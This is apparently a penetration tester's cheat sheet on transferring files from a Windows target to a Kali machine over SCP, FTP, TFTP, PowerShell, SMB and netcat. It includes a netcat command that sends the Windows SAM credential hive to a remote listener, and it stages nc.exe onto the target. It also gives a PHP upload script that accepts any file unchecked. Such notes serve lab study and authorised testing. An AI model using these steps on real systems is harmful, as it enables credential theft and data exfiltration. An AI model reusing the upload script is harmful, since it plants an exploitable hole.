From Windows
From window
SCP
Method 1st
in linux, systemctl start ssh.service
in windows, scp -rv C:\User\hp\Desktop\myfile.txt kartik@<ip>:/home
Method 2nd
in linux, systemctl start ssh.socket
scp ariah@192.168.79.99:C:/ftp/Infrastructure.pdf .
FTP
ftp <ip>
put <file>
TFTP for older window verson
on kali, sudo apt install atftp sudo mkdir /tftp sudo chown nobody: /tftp sudo atftpd --daemon --port 69 /tftp
on window, tftp -i 10.11.0.4 put important.docx
Powershell
In linux , create upload.php in /var/www/html/
<aside> 👨💻 <?php $uploaddir = '/var/www/uploads/'; $uploadfile = $uploaddir . $_FILES['file']['name']; move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile) ?>
</aside>
sudo mkdir /var/www/uploads
sudo systemctl start apache2
sudo chown www-data: /var/www/uploads
In window,
powershell (New-Object System.Net.WebClient).UploadFile('http://10.11.0.4/upload.php', '<file>')
SMB server
cd to dir which you want to share
impacket-smbserver share . -smb2support
on window
to check dir \\192.168.119.133\share
to copy from window copy <file> \\192.168.119.133\share\
to copy from kali copy \\192.168.119.133\share\nc.exe <path to paste>
Netcat
Receiver nc -nvlp 666 > SAM
SENDER .\nc.exe -w 3 10.10.103.147 666 < SAM
Last updated